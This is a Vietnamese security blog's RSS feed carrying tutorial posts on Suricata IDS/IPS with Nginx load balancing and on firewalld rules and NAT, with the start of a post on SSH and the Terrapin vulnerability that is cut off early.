<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security on Roduygo | Blog</title><link>/categories/security/</link><description>Recent content in Security on Roduygo | Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Thu, 21 May 2026 23:00:00 +0700</lastBuildDate><atom:link href="/categories/security/index.xml" rel="self" type="application/rss+xml"/><item><title>IDS/IPS với Suricata &amp; Cân bằng tải</title><link>/post/ids-ips-suricata-load-balancer/</link><pubDate>Thu, 21 May 2026 23:00:00 +0700</pubDate><guid>/post/ids-ips-suricata-load-balancer/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài viết trước, chúng ta đã xây dựng thành công Vành đai Tường lửa (Firewall) vững chắc, nhưng Firewall truyền thống chỉ kiểm tra được lớp vỏ bên ngoài của gói tin. Để phát hiện được những mã độc nằm sâu bên trong &amp;ldquo;thùng hàng&amp;rdquo; dữ liệu và điều phối lưu lượng mạng khổng lồ, hệ thống cần được trang bị thêm &amp;ldquo;con mắt ma thuật&amp;rdquo; và &amp;ldquo;bộ não&amp;rdquo; thông minh. Hôm nay, chúng ta sẽ đi sâu vào phân tích hệ thống phát hiện/ngăn chặn xâm nhập (&lt;strong&gt;IDS/IPS&lt;/strong&gt;) với Suricata, đồng thời làm rõ nghệ thuật &lt;strong&gt;Cân bằng tải&lt;/strong&gt; (Load Balancing) ở Layer 4 và Layer 7.&lt;/p&gt;
&lt;h2 id="1-ranh-giới-giữa-quan-sát-và-hành-động-ids-vs-ips"&gt;1. Ranh giới giữa &amp;ldquo;Quan sát&amp;rdquo; và &amp;ldquo;Hành động&amp;rdquo;: IDS vs IPS
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;IDS&lt;/strong&gt; (Intrusion Detection System) và &lt;strong&gt;IPS&lt;/strong&gt; (Intrusion Prevention System) đều là các công nghệ bảo mật giúp phát hiện và cảnh báo hoạt động trái phép dựa trên chữ ký, trí tuệ nhân tạo hoặc các hành vi bất thường. Tuy nhiên, vị trí đứng và quyền sinh sát của chúng trong mạng lưới lại hoàn toàn khác nhau.&lt;/p&gt;
&lt;h3 id="11-giám-sát-thụ-động-với-ids-passive-monitoring"&gt;1.1 Giám sát thụ động với IDS (Passive Monitoring)
&lt;/h3&gt;&lt;p&gt;IDS hoạt động theo cơ chế &lt;strong&gt;Promiscuous Mode&lt;/strong&gt; (Chế độ hỗn tạp). Điều này có nghĩa là nó chỉ &lt;strong&gt;copy&lt;/strong&gt; một bản sao dữ liệu từ Switch (thông qua cổng SPAN/Mirror) để phân tích mà &lt;strong&gt;không hề can thiệp&lt;/strong&gt; vào luồng đi của gói tin gốc.&lt;/p&gt;
&lt;p&gt;Ví dụ, khi bạn đang tải một file qua FTP không bảo mật, IDS sẽ soi gói tin và phát hiện nội dung Clear-text truyền đi. Lúc này, nó sẽ kích hoạt &lt;strong&gt;Signature-based Detection&lt;/strong&gt; và bắn một Alert lên màn hình SOC: &amp;ldquo;Cảnh báo: Phát hiện truyền tin Clear-text trên cổng &lt;code&gt;21&lt;/code&gt;!&amp;rdquo;. Tuy nhiên, vì nó chỉ quan sát, tệp tin của bạn vẫn sẽ được tải về bình thường.&lt;/p&gt;
&lt;h3 id="12-kiểm-tra-trực-diện-với-ips-in-line-inspection"&gt;1.2 Kiểm tra trực diện với IPS (In-line Inspection)
&lt;/h3&gt;&lt;p&gt;Trái ngược với sự thụ động của IDS, IPS đứng ngay &lt;strong&gt;giữa đường truyền mạng&lt;/strong&gt; giống như một trạm thu phí (&lt;strong&gt;In-line Inspection&lt;/strong&gt;). Mọi gói tin bắt buộc phải đi xuyên qua thân xác nó. Nếu gói tin sạch thì được đi tiếp, còn gói tin &amp;ldquo;bẩn&amp;rdquo; chứa mã độc sẽ bị &lt;strong&gt;Drop&lt;/strong&gt; (Hủy) ngay lập tức.&lt;/p&gt;
&lt;p&gt;Trong thực tế, nếu kẻ xấu thực hiện &lt;strong&gt;Brute Force SSH&lt;/strong&gt; với hàng trăm gói tin từ một IP lạ, IPS sẽ dùng &lt;strong&gt;Statistical Anomaly-based Detection&lt;/strong&gt; để nhận diện bất thường. Nó không chỉ báo cáo mà còn tự động tạo một Rule trên tường lửa để Block/Deny IP đó ngay tức khắc, khiến kẻ tấn công chỉ nhận được thông báo &lt;code&gt;Connection timed out&lt;/code&gt;.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; Việc triển khai IPS tuy an toàn tuyệt đối nhưng lại mang rủi ro &amp;ldquo;nghẽn cổ chai&amp;rdquo; mạng hoặc chặn nhầm (&lt;strong&gt;False Positive&lt;/strong&gt;) lưu lượng hợp lệ. Trong thực tiễn vận hành SOC, các hệ thống giám sát mới sẽ luôn được chạy ở chế độ &lt;strong&gt;IDS&lt;/strong&gt; (chỉ nhận cảnh báo) một thời gian dài để &amp;ldquo;học&amp;rdquo; hành vi mạng, trước khi được chuyển sang bật chế độ &lt;strong&gt;IPS&lt;/strong&gt; (chặn cắt tự động).&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="2-thực-chiến-cấu-hình-ips-suricata-chặn-ping"&gt;2. Thực chiến cấu hình IPS Suricata chặn Ping
&lt;/h2&gt;&lt;p&gt;Để biến Suricata từ một &amp;ldquo;kẻ quan sát&amp;rdquo; thành một &amp;ldquo;vệ sĩ&amp;rdquo; thực thụ mang tính chất IPS, chúng ta phải dùng &lt;code&gt;iptables&lt;/code&gt; để tóm các gói tin ICMP (Ping) và đẩy chúng vào một hàng chờ (Queue) để Suricata trực tiếp duyệt và ra lệnh hủy.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Đẩy gói tin Ping (ICMP) chiều vào (INPUT) sang hàng chờ NFQUEUE số 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo iptables -I INPUT -p icmp -j NFQUEUE --queue-num &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Đẩy gói tin Ping (ICMP) chiều ra (OUTPUT) sang hàng chờ NFQUEUE số 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo iptables -I OUTPUT -p icmp -j NFQUEUE --queue-num &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Mở file rule của Suricata để thêm luật Drop ICMP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nano /var/lib/suricata/rules/local.rules
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Khởi chạy Suricata trỏ vào file luật vừa tạo và lắng nghe trên card mạng enp7s0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo suricata -S /var/lib/suricata/rules/local.rules -i enp7s0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Theo dõi log cảnh báo và hành động chặn (Drop) theo thời gian thực&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo tail -f /var/log/suricata/fast.log
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sau khi cấu hình, nếu bạn thực hiện lệnh &lt;code&gt;ping 8.8.8.8&lt;/code&gt;, gói tin sẽ bị tóm vào NFQUEUE. Thay vì nhận được phản hồi Ping thành công, màn hình của bạn sẽ báo &lt;code&gt;Request Timeout&lt;/code&gt;, và trong file &lt;code&gt;fast.log&lt;/code&gt; sẽ liên tục xuất hiện nhãn &lt;code&gt;[wDrop]&lt;/code&gt; chứng tỏ IPS đã ra tay chặn đứng thành công.&lt;/p&gt;
&lt;h2 id="3-nghệ-thuật-cân-bằng-tải-load-balancer"&gt;3. Nghệ thuật Cân bằng tải (Load Balancer)
&lt;/h2&gt;&lt;p&gt;Bên cạnh bảo mật, &lt;strong&gt;Cân bằng tải&lt;/strong&gt; (Load Balancing) là kỹ thuật sống còn để điều phối lưu lượng giao thông mạng, đảm bảo các máy chủ không bao giờ bị &amp;ldquo;nghẽn cổ chai&amp;rdquo; khi có lượng lớn người truy cập cùng lúc.&lt;/p&gt;
&lt;h3 id="31-cân-bằng-tải-lớp-4-l4-load-balancing"&gt;3.1 Cân bằng tải Lớp 4 (L4 Load Balancing)
&lt;/h3&gt;&lt;p&gt;Kiểu cân bằng này điều phối giao thông dựa trên giao thức TCP/UDP ở Tầng 4. Nó chỉ nhìn vào &lt;strong&gt;Địa chỉ IP Đích&lt;/strong&gt; và &lt;strong&gt;Số cổng&lt;/strong&gt; (Port) để ra quyết định — không cần quan tâm nội dung bên trong gói tin chứa cái gì. Nhờ việc không phải giải mã nội dung (Decapsulation), cách này có tốc độ xử lý cực kỳ nhanh (ví dụ: IPVS trên Linux, F5 Big-IP).&lt;/p&gt;
&lt;h3 id="32-cân-bằng-tải-lớp-7-l7-load-balancing"&gt;3.2 Cân bằng tải Lớp 7 (L7 Load Balancing)
&lt;/h3&gt;&lt;p&gt;Đây là kiểu cân bằng tải &lt;strong&gt;&amp;ldquo;thông minh&amp;rdquo;&lt;/strong&gt; hoạt động ở Tầng Ứng dụng, thường dựa trên giao thức HTTP/HTTPS. L7 Load Balancer có khả năng &amp;ldquo;soi&amp;rdquo; sâu vào nội dung của &lt;strong&gt;URL&lt;/strong&gt;, &lt;strong&gt;Header&lt;/strong&gt; hoặc &lt;strong&gt;Cookie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Nó cực kỳ linh hoạt và phù hợp cho kiến trúc Microservices. Ví dụ, nếu người dùng truy cập &lt;code&gt;ezlearn.com/api/v1/chat&lt;/code&gt;, nó sẽ đẩy sang cụm máy ảo xử lý Chat; còn nếu truy cập &lt;code&gt;ezlearn.com/static/images&lt;/code&gt;, nó lại đẩy sang cụm lưu trữ hình ảnh (ví dụ: Nginx, HAProxy).&lt;/p&gt;
&lt;h3 id="33-cân-bằng-tải-mức-dns-dns-load-balancing"&gt;3.3 Cân bằng tải mức DNS (DNS Load Balancing)
&lt;/h3&gt;&lt;p&gt;Đây là kiểu cân bằng nằm ở &amp;ldquo;vòng ngoài cùng&amp;rdquo; trước khi gói tin chạm tới hệ thống của bạn. Khi bạn gõ &lt;code&gt;google.com&lt;/code&gt;, máy chủ DNS sẽ tự động xoay vòng (&lt;strong&gt;Round Robin&lt;/strong&gt;) và trả về các địa chỉ IP khác nhau cho những người dùng khác nhau.&lt;/p&gt;
&lt;h2 id="4-demo-thực-chiến-nginx-load-balancer-round-robin"&gt;4. Demo thực chiến Nginx Load Balancer (Round Robin)
&lt;/h2&gt;&lt;p&gt;Để thấy rõ cách một L7 Load Balancer chia việc, chúng ta dùng Nginx thiết lập thuật toán &lt;strong&gt;Round Robin&lt;/strong&gt; (Chia đều) cho 2 máy chủ Python.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bật máy chủ backend số 1 chạy nền ở cổng 8001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8001&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bật máy chủ backend số 2 chạy nền ở cổng 8002&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server &lt;span style="color:#ae81ff"&gt;8002&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Sửa file cấu hình của Nginx để điều hướng tải giữa 2 máy chủ trên&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nano /etc/nginx/conf.d/lb.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Kiểm tra xem file cấu hình Nginx có bị lỗi cú pháp không&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nginx -t
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Khởi động lại dịch vụ Nginx để áp dụng cấu hình Load Balancer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Gửi request kiểm tra đến Nginx ở cổng 8080&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -I http://127.0.0.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Với cơ chế Round Robin, mỗi request &lt;code&gt;curl&lt;/code&gt; mới sẽ được Nginx luân phiên gửi sang backend kế tiếp trong danh sách (gói thứ nhất vào &lt;code&gt;8001&lt;/code&gt;, gói thứ hai vào &lt;code&gt;8002&lt;/code&gt;). Nếu bạn dùng Wireshark với bộ lọc &lt;code&gt;http &amp;amp;&amp;amp; (tcp.port == 8001 || tcp.port == 8002)&lt;/code&gt;, bạn sẽ thấy rõ sự phân tán luồng cực kỳ nhịp nhàng này.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc kết hợp IDS/IPS để thanh lọc mã độc và Load Balancer để điều phối luồng truy cập giúp hệ thống mạng doanh nghiệp đạt được cả hai yếu tố: Bảo mật vững chắc và Hiệu năng tối đa. Tuy nhiên, hacker luôn tìm cách lẩn trốn, và chúng có thể dùng Proxy hoặc VPN để mã hóa toàn bộ dữ liệu, khiến cả IDS lẫn IPS đều bị &amp;ldquo;mù&amp;rdquo;. Trong Bài 13 tiếp theo, chúng ta sẽ phân tích cách VPN hoạt động ở Tầng 3 và nghệ thuật Vượt rào &amp;amp; Ẩn danh (Proxy vs VPN). Hãy cùng đón đọc nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Vành đai Tường lửa (Firewall) &amp; NAT</title><link>/post/firewall-nat-network-security/</link><pubDate>Thu, 21 May 2026 22:58:00 +0700</pubDate><guid>/post/firewall-nat-network-security/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Trong 10 bài viết trước, chúng ta đã lột tả mọi góc khuất của các giao thức mạng từ Tầng 1 đến Tầng 7 và phân tích cách hacker thao túng chúng. Giờ là lúc chúng ta chuyển từ thế bị động sang chủ động: Xây dựng các công sự bảo vệ. Hôm nay, chúng ta sẽ bắt đầu với lớp giáp kiên cố nhất của mọi hệ thống: &lt;strong&gt;Vành đai Tường lửa&lt;/strong&gt; (Firewall) và cơ chế ẩn danh nội bộ (&lt;strong&gt;NAT&lt;/strong&gt;).&lt;/p&gt;
&lt;h2 id="1-tường-lửa-firewall-là-gì-và-vị-trí-hoạt-động"&gt;1. Tường lửa (Firewall) là gì và Vị trí hoạt động
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Firewall&lt;/strong&gt; là một hệ thống bảo mật mạng đóng vai trò như một &amp;ldquo;màng lọc&amp;rdquo; khắc nghiệt, kiểm soát toàn bộ lưu lượng dữ liệu đi ra (Outbound) và đi vào (Inbound) giữa mạng nội bộ an toàn và môi trường Internet đầy rẫy hiểm nguy.&lt;/p&gt;
&lt;p&gt;Dưới góc độ triển khai, Firewall được chia thành hai loại chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Network Firewall:&lt;/strong&gt; Thường là thiết bị phần cứng hoặc máy chủ chuyên dụng đặt tại Gateway/Router để bảo vệ cả một mạng doanh nghiệp.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host-based Firewall:&lt;/strong&gt; Chạy trực tiếp trên từng hệ điều hành (như &lt;strong&gt;Windows Defender Firewall&lt;/strong&gt; hoặc &lt;code&gt;firewalld&lt;/code&gt; trên Linux) để bảo vệ duy nhất chiếc máy tính đó.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Để chặn đứng các mối đe dọa, Firewall có thể hoạt động ở nhiều tầng khác nhau trong mô hình OSI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Layer 3 (Network):&lt;/strong&gt; Lọc dựa trên địa chỉ IP Nguồn/Đích (ví dụ: Chặn IP &lt;code&gt;157.240.199.35&lt;/code&gt; của Facebook).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layer 4 (Transport):&lt;/strong&gt; Lọc dựa trên giao thức TCP/UDP và số Cổng (ví dụ: Cấm cổng &lt;code&gt;22&lt;/code&gt; SSH).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layer 7 (Application):&lt;/strong&gt; Lọc dựa trên nội dung thực tế của ứng dụng (ví dụ: Chặn các truy vấn DNS độc hại hoặc các HTTP GET mang mã SQL Injection).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-nguyên-lý-hoạt-động-acl-packet-filtering-và-stateful-inspection"&gt;2. Nguyên lý hoạt động: ACL, Packet Filtering và Stateful Inspection
&lt;/h2&gt;&lt;p&gt;Sức mạnh của Firewall nằm ở một danh sách các quy tắc được định nghĩa từ trước gọi là &lt;strong&gt;ACL&lt;/strong&gt; (Access Control List). Khi một gói tin bay tới, Firewall sẽ áp dụng các cơ chế kiểm tra sau:&lt;/p&gt;
&lt;h3 id="21-lọc-gói-tin-packet-filtering"&gt;2.1 Lọc gói tin (Packet Filtering)
&lt;/h3&gt;&lt;p&gt;Firewall sẽ &amp;ldquo;soi&amp;rdquo; trực tiếp vào các lớp vỏ Header (Lớp 3 và Lớp 4) mà chúng ta đã phân tích trên Wireshark ở các bài trước. Nó kiểm tra xem địa chỉ IP và Port này có nằm trong danh sách đen (Blacklist) hay không.&lt;/p&gt;
&lt;h3 id="22-kiểm-tra-trạng-thái-stateful-inspection"&gt;2.2 Kiểm tra trạng thái (Stateful Inspection)
&lt;/h3&gt;&lt;p&gt;Những thế hệ Firewall thông minh không chỉ soi từng gói tin rời rạc, mà nó còn &lt;strong&gt;&amp;ldquo;nhớ&amp;rdquo;&lt;/strong&gt; trạng thái của cả một cuộc hội thoại. Ví dụ: Nếu nó nhớ rằng máy tính của bạn vừa gửi một gói &lt;code&gt;SYN&lt;/code&gt; ngỏ lời ra ngoài, nó sẽ tự động cho phép gói &lt;code&gt;SYN-ACK&lt;/code&gt; phản hồi từ Server đi xuyên qua tường lửa để trở về máy bạn.&lt;/p&gt;
&lt;h3 id="23-phán-quyết-actions"&gt;2.3 Phán quyết (Actions)
&lt;/h3&gt;&lt;p&gt;Sau khi đối chiếu ACL, Firewall sẽ đưa ra một trong ba phán quyết đối với gói tin:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Allow / Accept:&lt;/strong&gt; Cho phép gói tin đi qua bình thường.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deny / Drop:&lt;/strong&gt; Tiêu hủy gói tin trong &lt;strong&gt;im lặng&lt;/strong&gt;. Kẻ gửi sẽ không biết gói tin đi đâu, dẫn đến việc Wireshark liên tục báo lỗi &lt;code&gt;TCP Retransmission&lt;/code&gt; do chờ mãi không thấy phản hồi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reject:&lt;/strong&gt; Hủy gói tin nhưng lịch sự gửi lại một thông báo lỗi (thường là gói tin &lt;strong&gt;ICMP&lt;/strong&gt;) báo cho kẻ gửi biết rằng &amp;ldquo;Cửa đã bị khóa&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-thực-chiến-firewall-và-bắt-bệnh-trên-wireshark"&gt;3. Thực chiến Firewall và Bắt bệnh trên Wireshark
&lt;/h2&gt;&lt;p&gt;Để minh họa sự khác biệt của phán quyết, chúng ta dùng &lt;code&gt;firewalld&lt;/code&gt; trên Linux để chặn cổng &lt;code&gt;22&lt;/code&gt; (SSH) bằng cơ chế &lt;strong&gt;REJECT&lt;/strong&gt; và xem hệ thống phản ứng ra sao.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Kiểm tra danh sách các luật (rules) đang hoạt động trên Firewall&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo firewall-cmd --list-all
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Thêm một Rich Rule để từ chối mọi kết nối TCP vào cổng 22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo firewall-cmd --add-rich-rule&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;rule family=&amp;#34;ipv4&amp;#34; port port=&amp;#34;22&amp;#34; protocol=&amp;#34;tcp&amp;#34; reject&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Reload để Tường lửa áp dụng luật mới ngay lập tức&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo firewall-cmd --reload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lúc này, nếu có kẻ cố tình truy cập vào cổng &lt;code&gt;22&lt;/code&gt; của máy bạn (&lt;code&gt;192.168.1.29&lt;/code&gt;), Wireshark sẽ không hiện lỗi gửi lại (Retransmission) mà sẽ chộp được ngay một gói tin phản hồi chí mạng ở Lớp 3:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Gói tin ICMP trả về khi Firewall áp dụng cơ chế REJECT
# Hệ thống trực tiếp đóng sập cửa và thông báo &amp;#34;Host unreachable&amp;#34;

No. Time Source Destination Protocol Info
5 2.204045407 192.168.1.29 192.168.1.29 ICMP Destination unreachable (Host unreachable)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Góc nhìn SOC:&lt;/strong&gt; Thông điệp &lt;code&gt;Destination unreachable (Host unreachable)&lt;/code&gt; của ICMP chính là cách Firewall &amp;ldquo;trả lời&amp;rdquo; kẻ tấn công. Trong thực tế, Blue Team thường ưu tiên dùng quy tắc &lt;strong&gt;DROP&lt;/strong&gt; thay vì &lt;strong&gt;REJECT&lt;/strong&gt;. Việc Drop (hủy trong im lặng) sẽ làm công cụ quét mạng (Scanner) của hacker bị treo và chậm đi đáng kể do phải đợi Timeout, đồng thời không cung cấp cho chúng bất kỳ manh mối nào về việc hệ thống có Firewall hay không.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-nat-network-address-translation-người-hùng-giấu-mặt"&gt;4. NAT (Network Address Translation): Người hùng giấu mặt
&lt;/h2&gt;&lt;p&gt;Firewall chặn đứng các cuộc tấn công từ bên ngoài, nhưng còn một kỹ thuật khác giúp hệ thống nội bộ trở nên vô hình trên Internet: &lt;strong&gt;NAT&lt;/strong&gt;. NAT hoạt động chủ yếu ở Tầng 3 và Tầng 4, với nhiệm vụ thay đổi địa chỉ IP trong gói tin khi nó đi qua Router.&lt;/p&gt;
&lt;p&gt;Hãy xem quá trình gói tin đi từ máy tính của bạn (IP nội bộ &lt;code&gt;192.168.1.29&lt;/code&gt;) ra máy chủ Facebook (&lt;code&gt;157.240.199.35&lt;/code&gt;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Gói tin đi ra (Outbound):&lt;/strong&gt; Máy bạn gửi gói tin từ địa chỉ &lt;code&gt;192.168.1.29:56375&lt;/code&gt; tới &lt;code&gt;157.240.199.35:443&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tại Router (Quá trình dịch):&lt;/strong&gt; Router không thể đẩy dải IP &lt;code&gt;192.168.x.x&lt;/code&gt; ra Internet vì đây là dải địa chỉ &lt;strong&gt;Private&lt;/strong&gt; không được định tuyến. NAT sẽ &amp;ldquo;xóa&amp;rdquo; IP nguồn này và thay bằng IP Public của công ty (ví dụ: &lt;code&gt;113.161.x.x&lt;/code&gt;). Đồng thời, nó ghi vào &lt;strong&gt;NAT Table&lt;/strong&gt; một dòng: &amp;ldquo;Port &lt;code&gt;56375&lt;/code&gt; của máy nội bộ &lt;code&gt;.29&lt;/code&gt; đang được gán cho kết nối Facebook&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gói tin đi về (Inbound):&lt;/strong&gt; Facebook phản hồi lại địa chỉ Public &lt;code&gt;113.161.x.x:56375&lt;/code&gt;. Router nhận gói tin, dò lại NAT Table, thấy khớp Port nên tự động &amp;ldquo;dịch&amp;rdquo; ngược lại IP đích thành &lt;code&gt;192.168.1.29&lt;/code&gt; và đẩy vào máy bạn.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Nhờ NAT, dù công ty bạn có hàng nghìn nhân viên, tất cả chỉ cần dùng chung một vài địa chỉ IP Public để lướt web. Hacker đứng ngoài Internet sẽ không thể nào biết được kiến trúc địa chỉ IP thực sự bên trong mạng nội bộ của bạn.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc triển khai vững chắc Firewall và NAT giúp che giấu và bảo vệ hạ tầng mạng của tổ chức khỏi 90% các cuộc rà quét tự động của tin tặc. Tuy nhiên, Firewall chỉ có thể soi được lớp vỏ Header, vậy nếu hacker nhét một tệp chứa mã độc vào bên trong một gói tin HTTP hợp lệ thì sao? Ở Bài 12 tiếp theo, chúng ta sẽ lắp đặt thêm &amp;ldquo;con mắt ma thuật&amp;rdquo; cho mạng lưới: Phân tích sự khác biệt giữa IDS (Giám sát thụ động) và IPS (Ngăn chặn chủ động) với công cụ Suricata. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Quản trị từ xa (SSH) &amp; Lỗ hổng Terrapin (CVE-2023-48795)</title><link>/post/ssh-terrapin-cve-2023-48795/</link><pubDate>Thu, 21 May 2026 22:57:00 +0700</pubDate><guid>/post/ssh-terrapin-cve-2023-48795/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã thấy SFTP tận dụng sự kiên cố của kiến trúc đường hầm SSH để bảo vệ việc truyền tải dữ liệu. Tuy nhiên, vỏ bọc nào cũng có điểm yếu chí mạng nếu quá trình &amp;ldquo;đàm phán&amp;rdquo; ban đầu bị thao túng. Hôm nay, chúng ta sẽ đi sâu vào kỹ thuật quản trị từ xa bằng SSH, giải phẫu cơ chế nhận diện Fingerprint và mổ xẻ lỗ hổng &lt;strong&gt;Terrapin (CVE-2023-48795)&lt;/strong&gt; — đòn tấn công tinh vi đánh thẳng vào tính toàn vẹn của quá trình bắt 